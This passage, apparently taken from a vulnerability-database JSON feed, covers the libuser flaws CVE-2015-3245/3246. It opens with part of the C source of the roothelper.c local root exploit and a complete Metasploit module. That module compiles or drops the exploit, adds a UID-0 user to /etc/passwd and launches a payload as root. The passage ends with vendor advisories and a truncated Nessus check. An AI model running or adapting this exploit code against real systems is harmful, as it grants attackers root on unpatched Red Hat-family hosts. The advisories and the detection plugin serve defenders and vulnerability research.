'A', fullname_len);\r\n \r\n if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {\r\n if (!isascii((unsigned char)c)) die();\r\n if (!isgraph((unsigned char)c)) die();\r\n fullname[fullname_len-1] = c;\r\n }\r\n}\r\n \r\nstatic size_t siteinfo_len;\r\nstatic size_t fullname_off;\r\n \r\nstatic size_t before_fullname_len;\r\nstatic char * before_fullname;\r\n \r\nstatic size_t after_fullname_len;\r\nstatic char * after_fullname;\r\n \r\nstatic int\r\ngenerate_userhelper(const char *const a, const int i, char *const contents)\r\n{\r\n if (i < 0) {\r\n if (i != -1) die();\r\n return 0;\r\n }\r\n if (a == NULL) die();\r\n if ((unsigned int)i >= strlen(a)) die();\r\n if (contents == NULL) die();\r\n \r\n const char _c = a[i];\r\n const bool is_user_wildcard = (_c == '?');\r\n const char c = (is_user_wildcard ? candidate_users[0] : _c);\r\n if (c == '\\0') die();\r\n \r\n const size_t target = passwd_fsize-1 + i;\r\n const rlim_t fsizelim = (a[i+1] == '\\0') ? RLIM_INFINITY : target+1;\r\n if (fsizelim < passwd_fsize) die();\r\n \r\n const size_t contents_len = strlen(contents);\r\n if (contents_len < passwd_fsize) die();\r\n if (contents_len <= fullname_off) die();\r\n \r\n char *const fullname = contents + fullname_off;\r\n if (memcmp(fullname - before_fullname_len,\r\n before_fullname, before_fullname_len) != 0) die();\r\n \r\n const char *rest = strchr(fullname, '\\n');\r\n if (rest == NULL) die();\r\n rest++;\r\n \r\n const ssize_t fullname_len = (rest - fullname) - after_fullname_len;\r\n if (fullname_len >= GECOS_LENGTH) die();\r\n if (fullname_len < 0) die();\r\n \r\n if (rest[-1] != '\\n') die();\r\n generate_fullname(fullname, fullname_len, c);\r\n memcpy(fullname + fullname_len, after_fullname, after_fullname_len);\r\n if (rest[-1] != '\\n') die();\r\n \r\n if (memcmp(rest - after_fullname_len,\r\n after_fullname, after_fullname_len) != 0) die();\r\n \r\n size_t offset;\r\n for (offset = fullname_off; offset < contents_len; offset++) {\r\n \r\n const char x = contents[offset];\r\n if (x == '\\0') die();\r\n if (is_user_wildcard) {\r\n if (strchr(candidate_users, x) == NULL) continue;\r\n superuser_elect = x;\r\n } else {\r\n if (x != c) continue;\r\n }\r\n \r\n const ssize_t new_fullname_len = fullname_len + (target - offset);\r\n if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */\r\n if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;\r\n \r\n if (offset < fullname_off + fullname_len) {\r\n if (offset != fullname_off + fullname_len-1) die();\r\n if (new_fullname_len == 0) continue;\r\n }\r\n if (offset >= contents_len-1) {\r\n if (offset != contents_len-1) die();\r\n if (fsizelim != RLIM_INFINITY) continue;\r\n }\r\n \r\n { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);\r\n \r\n memcpy(new_contents, contents, fullname_off);\r\n generate_fullname(new_contents + fullname_off, new_fullname_len, c);\r\n memcpy(new_contents + fullname_off + new_fullname_len,\r\n contents + fullname_off + fullname_len,\r\n contents_len+1 - (fullname_off + fullname_len));\r\n \r\n if (strlen(new_contents) != contents_len +\r\n (new_fullname_len - fullname_len)) die();\r\n \r\n if (fsizelim != RLIM_INFINITY) {\r\n if (fsizelim >= strlen(new_contents)) die();\r\n if (fsizelim >= contents_len) die();\r\n memcpy(new_contents + fsizelim,\r\n contents + fsizelim,\r\n contents_len+1 - fsizelim);\r\n }\r\n \r\n const int err = generate_userhelper(a, i-1, new_contents);\r\n free(new_contents);\r\n if (err < 0) continue; }\r\n \r\n if (i >= GECOS_LENGTH) die();\r\n struct userhelper *const uh = &userhelpers[i];\r\n memset(uh, 0, sizeof(*uh));\r\n \r\n uh->fsizelim = fsizelim;\r\n if (new_fullname_len >= GECOS_LENGTH) die();\r\n generate_fullname(uh->gecos.full_name, new_fullname_len, c);\r\n return 0;\r\n }\r\n return -1;\r\n}\r\n \r\nstatic int\r\ngenerate_userhelpers(const char *const _a)\r\n{\r\n char a[GECOS_LENGTH];\r\n if (_a == NULL) die();\r\n const int n = xsnprintf(a, sizeof(a), \"\\n%s\\n\", _a);\r\n if (n >= GECOS_LENGTH) die();\r\n if (n <= 0) die();\r\n \r\n const int fd = xopen(PASSWD, O_RDONLY);\r\n struct stat st;\r\n if (fstat(fd, &st) != 0) die();\r\n if (st.st_size >= 10*1024*1024) die();\r\n if (st.st_size <= 0) die();\r\n passwd_fsize = st.st_size;\r\n \r\n char *const contents = xmalloc(passwd_fsize + 1);\r\n if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();\r\n xclose(fd);\r\n contents[passwd_fsize] = '\\0';\r\n if (strlen(contents) != passwd_fsize) die();\r\n if (contents[passwd_fsize-1] != '\\n') die();\r\n \r\n char fragment[64];\r\n xsnprintf(fragment, sizeof(fragment), \"\\n%s:\", my.username);\r\n const char *line = strstr(contents, fragment);\r\n if (line == NULL) die();\r\n line++;\r\n \r\n const char *rest = strchr(line, '\\n');\r\n if (rest == NULL) die();\r\n if (rest <= line) die();\r\n rest++;\r\n \r\n if (strcmp(_a, IS_USER_LAST) == 0) {\r\n const bool is_user_last = (*rest == '\\0');\r\n free(contents);\r\n return is_user_last;\r\n }\r\n \r\n unsigned int i;\r\n const char *field = line;\r\n \r\n for (i = 0; i <= 5; i++) {\r\n const char *const field_end = strchr(field, ':');\r\n if (field_end == NULL) die();\r\n if (field_end >= rest) die();\r\n const size_t field_len = field_end - field;\r\n \r\n switch (i) {\r\n case 0:\r\n if (field_len != strlen(my.username)) die();\r\n if (memcmp(field, my.username, field_len) != 0) die();\r\n break;\r\n case 1:\r\n if (*field != 'x') die();\r\n break;\r\n case 2:\r\n if (strtoimax(field, NULL, 10) != getuid()) die();\r\n break;\r\n case 3:\r\n if (strtoimax(field, NULL, 10) != getgid()) die();\r\n break;\r\n case 4:\r\n {\r\n char assembled[GECOS_LENGTH];\r\n xsnprintf(assembled, sizeof(assembled),\r\n \"%.*s\", (int)field_len, field);\r\n if (strlen(assembled) != field_len) die();\r\n \r\n struct gecos_data gecos;\r\n memset(&gecos, 0, sizeof(gecos));\r\n xsnprintf(gecos.site_info, sizeof(gecos.site_info),\r\n \"%s\", my.gecos.site_info);\r\n if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();\r\n }\r\n \r\n siteinfo_len = strlen(my.gecos.site_info);\r\n fullname_off = field - contents;\r\n \r\n before_fullname_len = field - line;\r\n before_fullname = xstrndup(line, before_fullname_len);\r\n \r\n after_fullname_len = rest - field;\r\n after_fullname = xstrndup(field, after_fullname_len);\r\n break;\r\n \r\n case 5:\r\n if (*field != '/') die();\r\n break;\r\n default:\r\n die();\r\n }\r\n field = field_end + 1;\r\n }\r\n \r\n const int err = generate_userhelper(a, n-1, contents);\r\n \r\n free(before_fullname), before_fullname = NULL;\r\n free(after_fullname), after_fullname = NULL;\r\n free(contents);\r\n \r\n return (err < 0) ? -1 : n;\r\n}\n\n# 0day.today [2018-02-06] #", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/23934"}, {"lastseen": "2018-05-15T23:55:45", "description": "This Metasploit module attempts to gain root privileges on Red Hat based Linux systems, including RHEL, Fedora and CentOS, by exploiting a newline injection vulnerability in libuser and userhelper versions prior to 0.56.13-8 and version 0.60 before 0.60-7. This Metasploit module makes use of the roothelper.c exploit from Qualys to insert a new user with UID=0 in /etc/passwd. Note, the password for the current user is required by userhelper. Note, on some systems, such as Fedora 11, the user entry for the current user in /etc/passwd will become corrupted and exploitation will fail. This Metasploit module has been tested successfully on libuser packaged versions 0.56.13-4.el6 on CentOS 6.0 (x86_64); 0.56.13-5.el6 on CentOS 6.5 (x86_64); 0.60-5.el7 on CentOS 7.1-1503 (x86_64); 0.56.16-1.fc13 on Fedora 13 (i686); 0.59-1.fc19 on Fedora Desktop 19 (x86_64); 0.60-3.fc20 on Fedora Desktop 20 (x86_64); 0.60-6.fc21 on Fedora Desktop 21 (x86_64); 0.60-6.fc22 on Fedora Desktop 22 (x86_64); 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and 0.60-5.el7 on Red Hat 7.0 (x86_64). RHEL 5 is vulnerable, however the installed version of glibc (2.5) is missing various functions required by roothelper.c.", "edition": 1, "published": "2018-05-15T00:00:00", "title": "Libuser roothelper Privilege Escalation Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2018-05-15T00:00:00", "id": "1337DAY-ID-30355", "href": "https://0day.today/exploit/description/30355", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = GreatRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Post::Linux::Priv\r\n include Msf::Post::Linux::System\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Libuser roothelper Privilege Escalation',\r\n 'Description' => %q{\r\n This module attempts to gain root privileges on Red Hat based Linux\r\n systems, including RHEL, Fedora and CentOS, by exploiting a newline\r\n injection vulnerability in libuser and userhelper versions prior to\r\n 0.56.13-8 and version 0.60 before 0.60-7.\r\n\r\n This module makes use of the roothelper.c exploit from Qualys to\r\n insert a new user with UID=0 in /etc/passwd.\r\n\r\n Note, the password for the current user is required by userhelper.\r\n\r\n Note, on some systems, such as Fedora 11, the user entry for the\r\n current user in /etc/passwd will become corrupted and exploitation\r\n will fail.\r\n\r\n This module has been tested successfully on libuser packaged versions\r\n 0.56.13-4.el6 on CentOS 6.0 (x86_64);\r\n 0.56.13-5.el6 on CentOS 6.5 (x86_64);\r\n 0.60-5.el7 on CentOS 7.1-1503 (x86_64);\r\n 0.56.16-1.fc13 on Fedora 13 (i686);\r\n 0.59-1.fc19 on Fedora Desktop 19 (x86_64);\r\n 0.60-3.fc20 on Fedora Desktop 20 (x86_64);\r\n 0.60-6.fc21 on Fedora Desktop 21 (x86_64);\r\n 0.60-6.fc22 on Fedora Desktop 22 (x86_64);\r\n 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and\r\n 0.60-5.el7 on Red Hat 7.0 (x86_64).\r\n\r\n RHEL 5 is vulnerable, however the installed version of glibc (2.5)\r\n is missing various functions required by roothelper.c.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Qualys', # Discovery and C exploit\r\n 'Brendan Coles' # Metasploit\r\n ],\r\n 'DisclosureDate' => 'Jul 24 2015',\r\n 'Platform' => [ 'linux' ],\r\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\r\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\r\n 'Targets' => [[ 'Auto', {} ]],\r\n 'Privileged' => true,\r\n 'References' =>\r\n [\r\n [ 'AKA', 'roothelper.c' ],\r\n [ 'EDB', '37706' ],\r\n [ 'CVE', '2015-3245' ],\r\n [ 'CVE', '2015-3246' ],\r\n [ 'BID', '76021' ],\r\n [ 'BID', '76022' ],\r\n [ 'URL', 'http://seclists.org/oss-sec/2015/q3/185' ],\r\n [ 'URL', 'https://access.redhat.com/articles/1537873' ]\r\n ],\r\n 'DefaultTarget' => 0))\r\n register_options [\r\n OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),\r\n OptString.new('PASSWORD', [ true, 'Password for the current user', '' ]),\r\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\r\n ]\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir'].to_s\r\n end\r\n\r\n def password\r\n datastore['PASSWORD'].to_s\r\n end\r\n\r\n def upload(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n register_file_for_cleanup path\r\n end\r\n\r\n def upload_and_chmodx(path, data)\r\n upload path, data\r\n cmd_exec \"chmod +x '#{path}'\"\r\n end\r\n\r\n def live_compile?\r\n compile = false\r\n\r\n if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')\r\n if has_gcc?\r\n vprint_good 'gcc is installed'\r\n compile = true\r\n else\r\n unless datastore['COMPILE'].eql? 'Auto'\r\n fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'\r\n end\r\n end\r\n end\r\n\r\n compile\r\n end\r\n\r\n def check\r\n userhelper_path = '/usr/sbin/userhelper'\r\n unless setuid? userhelper_path\r\n vprint_error \"#{userhelper_path} is not setuid\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"#{userhelper_path} is setuid\"\r\n\r\n unless command_exists? 'script'\r\n vprint_error \"script is not installed. Exploitation will fail.\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'script is installed'\r\n\r\n if cmd_exec('lsattr /etc/passwd').include? 'i'\r\n vprint_error 'File /etc/passwd is immutable'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'File /etc/passwd is not immutable'\r\n\r\n glibc_banner = cmd_exec 'ldd --version'\r\n glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\\s+\\(.*\\)\\s+([\\d\\.]+)/).flatten.first\r\n if glibc_version.to_s.eql? ''\r\n vprint_error 'Could not determine the GNU C library version'\r\n return CheckCode::Detected\r\n end\r\n\r\n # roothelper.c requires functions only available since glibc 2.6+\r\n if glibc_version < Gem::Version.new('2.6')\r\n vprint_error \"GNU C Library version #{glibc_version} is not supported\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"GNU C Library version #{glibc_version} is supported\"\r\n\r\n CheckCode::Detected\r\n end\r\n\r\n def exploit\r\n if check == CheckCode::Safe\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\r\n end\r\n\r\n if is_root?\r\n fail_with Failure::BadConfig, 'Session already has root privileges'\r\n end\r\n\r\n unless cmd_exec(\"test -w '#{base_dir}' && echo true\").include? 'true'\r\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\r\n end\r\n\r\n executable_name = \".#{rand_text_alphanumeric rand(5..10)}\"\r\n executable_path = \"#{base_dir}/#{executable_name}\"\r\n\r\n if live_compile?\r\n vprint_status 'Live compiling exploit on system...'\r\n\r\n # Upload Qualys' roothelper.c exploit:\r\n # - https://www.exploit-db.com/exploits/37706/\r\n path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'\r\n fd = ::File.open path, 'rb'\r\n c_code = fd.read fd.stat.size\r\n fd.close\r\n upload \"#{executable_path}.c\", c_code\r\n output = cmd_exec \"gcc -o #{executable_path} #{executable_path}.c\"\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{executable_path}.c failed to compile\"\r\n end\r\n\r\n cmd_exec \"chmod +x #{executable_path}\"\r\n register_file_for_cleanup executable_path\r\n else\r\n vprint_status 'Dropping pre-compiled exploit on system...'\r\n\r\n # Cross-compiled with:\r\n # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c\r\n path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'\r\n fd = ::File.open path, 'rb'\r\n executable_data = fd.read fd.stat.size\r\n fd.close\r\n upload_and_chmodx executable_path, executable_data\r\n end\r\n\r\n # Run roothelper\r\n timeout = 180\r\n print_status \"Launching roothelper exploit (Timeout: #{timeout})...\"\r\n output = cmd_exec \"echo #{password.gsub(/'/, \"\\\\\\\\'\")} | #{executable_path}\", nil, timeout\r\n output.each_line { |line| vprint_status line.chomp }\r\n\r\n if output =~ %r{Creating a backup copy of \"/etc/passwd\" named \"(.*)\"}\r\n register_file_for_cleanup $1\r\n end\r\n\r\n if output =~ /died in parent: .*.c:517: forkstop_userhelper/\r\n fail_with Failure::NoAccess, 'Incorrect password'\r\n end\r\n\r\n @username = nil\r\n\r\n if output =~ /Exploit successful, run \"su ([a-z])\" to become root/\r\n @username = $1\r\n end\r\n\r\n if @username.blank?\r\n fail_with Failure::Unknown, 'Something went wrong'\r\n end\r\n\r\n print_good \"Success! User '#{@username}' added to /etc/passwd\"\r\n\r\n # Upload payload executable\r\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\"\r\n upload_and_chmodx payload_path, generate_payload_exe\r\n\r\n # Execute payload executable\r\n vprint_status 'Executing payload...'\r\n cmd_exec \"script -c \\\"su - #{@username} -c #{payload_path}\\\" | sh & echo \"\r\n register_file_for_cleanup 'typescript'\r\n end\r\n\r\n #\r\n # Remove new user from /etc/passwd\r\n #\r\n def on_new_session(session)\r\n new_user_removed = false\r\n\r\n if session.type.to_s.eql? 'meterpreter'\r\n session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'\r\n\r\n # Remove new user\r\n session.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' /etc/passwd\\\"\"\r\n\r\n # Wait for clean up\r\n Rex.sleep 5\r\n\r\n # Check for new user in /etc/passwd\r\n passwd_contents = session.fs.file.open('/etc/passwd').read.to_s\r\n unless passwd_contents =~ /^#{@username}:/\r\n new_user_removed = true\r\n end\r\n elsif session.type.to_s.eql? 'shell'\r\n # Remove new user\r\n session.shell_command_token \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\"\r\n\r\n # Check for new user in /etc/passwd\r\n passwd_user = session.shell_command_token \"grep '#{@username}:' /etc/passwd\"\r\n unless passwd_user =~ /^#{@username}:/\r\n new_user_removed = true\r\n end\r\n end\r\n\r\n unless new_user_removed\r\n print_warning \"Could not remove user '#{@username}' from /etc/passwd\"\r\n end\r\n rescue => e\r\n print_error \"Error during cleanup: #{e.message}\"\r\n ensure\r\n super\r\n end\r\nend\n\n# 0day.today [2018-05-15] #", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/30355"}], "oraclelinux": [{"lastseen": "2019-05-29T18:37:23", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "[0.56.13-8]\n- Update CVE-2015-3246 patch based on review comments\n Resolves: #1235518\n[0.56.13-7]\n- Dont use 512-bit RSA private keys in tests\n Related: #1235518\n- Fix testsuite failures if more than one architecture is building concurrently\n Related: #1235518\n[0.56.13-6]\n- Fix CVE-2015-3246\n Resolves: #1235518", "edition": 4, "modified": "2015-07-29T00:00:00", "published": "2015-07-29T00:00:00", "id": "ELSA-2015-1482", "href": "http://linux.oracle.com/errata/ELSA-2015-1482.html", "title": "libuser security update", "type": "oraclelinux", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-22T17:07:32", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "[0.60-7]\n- Update CVE-2015-3246 patch based on review comments\n Resolves: #1235519\n[0.60-6]\n- Fix CVE-2015-3246\n Resolves: #1235519", "edition": 5, "modified": "2015-07-23T00:00:00", "published": "2015-07-23T00:00:00", "id": "ELSA-2015-1483", "href": "http://linux.oracle.com/errata/ELSA-2015-1483.html", "title": "libuser security update", "type": "oraclelinux", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "redhat": [{"lastseen": "2019-08-13T18:47:12", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3245", "CVE-2015-3246"], "description": "The libuser library implements a standardized interface for manipulating\nand administering user and group accounts. Sample applications that are\nmodeled after applications from the shadow password suite (shadow-utils)\nare included in these packages.\n\nTwo flaws were found in the way the libuser library handled the /etc/passwd\nfile. A local attacker could use an application compiled against libuser\n(for example, userhelper) to manipulate the /etc/passwd file, which could\nresult in a denial of service or possibly allow the attacker to escalate\ntheir privileges to root. (CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages, which\ncontain a backported patch to correct this issue.\n", "modified": "2018-06-06T20:24:35", "published": "2015-07-23T04:00:00", "id": "RHSA-2015:1482", "href": "https://access.redhat.com/errata/RHSA-2015:1482", "type": "redhat", "title": "(RHSA-2015:1482) Important: libuser security update", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-08-13T18:45:39", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3245", "CVE-2015-3246"], "description": "The libuser library implements a standardized interface for manipulating\nand administering user and group accounts. Sample applications that are\nmodeled after applications from the shadow password suite (shadow-utils)\nare included in these packages.\n\nTwo flaws were found in the way the libuser library handled the /etc/passwd\nfile. A local attacker could use an application compiled against libuser\n(for example, userhelper) to manipulate the /etc/passwd file, which could\nresult in a denial of service or possibly allow the attacker to escalate\ntheir privileges to root. (CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages, which\ncontain a backported patch to correct this issue.\n", "modified": "2018-04-12T03:32:38", "published": "2015-07-23T04:00:00", "id": "RHSA-2015:1483", "href": "https://access.redhat.com/errata/RHSA-2015:1483", "type": "redhat", "title": "(RHSA-2015:1483) Important: libuser security update", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "debian": [{"lastseen": "2020-08-12T00:57:23", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "Package : libuser\nVersion : 1:0.56.9.dfsg.1-1.2+deb7u1\nCVE ID : CVE-2015-3245 CVE-2015-3246\nDebian Bug : 793465\n\nTwo security vulnerabilities were discovered in libuser, a library\nthat implements a standardized interface for manipulating and\nadministering user and group accounts, that could lead to a denial of\nservice or privilege escalation by local users.\n\nCVE-2015-3245\n Incomplete blacklist vulnerability in the chfn function in libuser\n before 0.56.13-8 and 0.60 before 0.60-7, as used in the userhelper\n program in the usermode package, allows local users to cause a\n denial of service (/etc/passwd corruption) via a newline character\n in the GECOS field.\n\nCVE-2015-3246\n libuser before 0.56.13-8 and 0.60 before 0.60-7, as used in the\n userhelper program in the usermode package, directly modifies\n /etc/passwd, which allows local users to cause a denial of service\n (inconsistent file state) by causing an error during the\n modification. NOTE: this issue can be combined with CVE-2015-3245\n to gain privileges.\n\nIn addition the usermode package, which depends on libuser, was\nrebuilt against the updated version.\n\nFor Debian 7 "Wheezy", these problems have been fixed in\n\nlibuser 1:0.56.9.dfsg.1-1.2+deb7u1\nusermode 1.109-1+deb7u2\n\nWe recommend that you upgrade your libuser and usermode packages.\n\n", "edition": 9, "modified": "2016-05-12T18:07:40", "published": "2016-05-12T18:07:40", "id": "DEBIAN:DLA-468-1:4512C", "href": "https://lists.debian.org/debian-lts-announce/2016/debian-lts-announce-201605/msg00021.html", "title": "[SECURITY] [DLA 468-1] libuser security update", "type": "debian", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "archlinux": [{"lastseen": "2016-09-02T18:44:37", "bulletinFamily": "unix", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "- CVE-2015-3245 (denial of service)\n\nIt was found that libuser, as used by the chfn userhelper functionality,\ndid not properly filter out newline characters in GECOS fields. A local,\nauthenticated user could use this flaw to corrupt the /etc/passwd file,\nresulting in a denial-of-service on the system.\n\n- CVE-2015-3246 (privilege escalation)\n\nA flaw was found in the way the libuser library handled the /etc/passwd\nfile. A local attacker could use an application compiled against libuser\n(for example, userhelper) to manipulate the /etc/passwd file, which\ncould result in a denial of service or possibly allow the attacker to\nescalate their privileges to root.", "modified": "2015-07-24T00:00:00", "published": "2015-07-24T00:00:00", "id": "ASA-201507-19", "href": "https://lists.archlinux.org/pipermail/arch-security/2015-July/000373.html", "type": "archlinux", "title": "libuser: multiple issues", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "nessus": [{"lastseen": "2021-01-17T13:48:54", "description": "Two flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)", "edition": 16, "published": "2015-08-04T00:00:00", "title": "Scientific Linux Security Update : libuser on SL6.x i386/x86_64 (20150723)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2015-08-04T00:00:00", "cpe": ["p-cpe:/a:fermilab:scientific_linux:libuser", "p-cpe:/a:fermilab:scientific_linux:libuser-devel", "p-cpe:/a:fermilab:scientific_linux:libuser-debuginfo", "p-cpe:/a:fermilab:scientific_linux:libuser-python", "x-cpe:/o:fermilab:scientific_linux"], "id": "SL_20150723_LIBUSER_ON_SL6_X.NASL", "href": "https://www.tenable.com/plugins/nessus/85210", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text is (C) Scientific Linux.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(85210);\n script_version(\"2.13\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n\n script_name(english:\"Scientific Linux Security Update : libuser on SL6.x i386/x86_64 (20150723)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Scientific Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Two flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\"\n );\n # https://listserv.fnal.gov/scripts/wa.exe?A2=ind1508&L=scientific-linux-errata&F=&S=&P=403\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?7b2861f7\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:libuser-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:libuser-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:libuser-python\");\n script_set_attribute(attribute:\"cpe\", value:\"x-cpe:/o:fermilab:scientific_linux\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2015/08/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/07/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/08/04\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Scientific Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Scientific Linux \" >!< release) audit(AUDIT_HOST_NOT, \"running Scientific Linux\");\nos_ver = pregmatch(pattern: \"Scientific Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Scientific Linux\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Scientific Linux 6.x\", \"Scientific Linux \" + os_ver);\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu >!< \"x86_64\" && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Scientific Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"SL6\", reference:\"libuser-0.56.13-8.el6_7\")) flag++;\nif (rpm_check(release:\"SL6\", reference:\"libuser-debuginfo-0.56.13-8.el6_7\")) 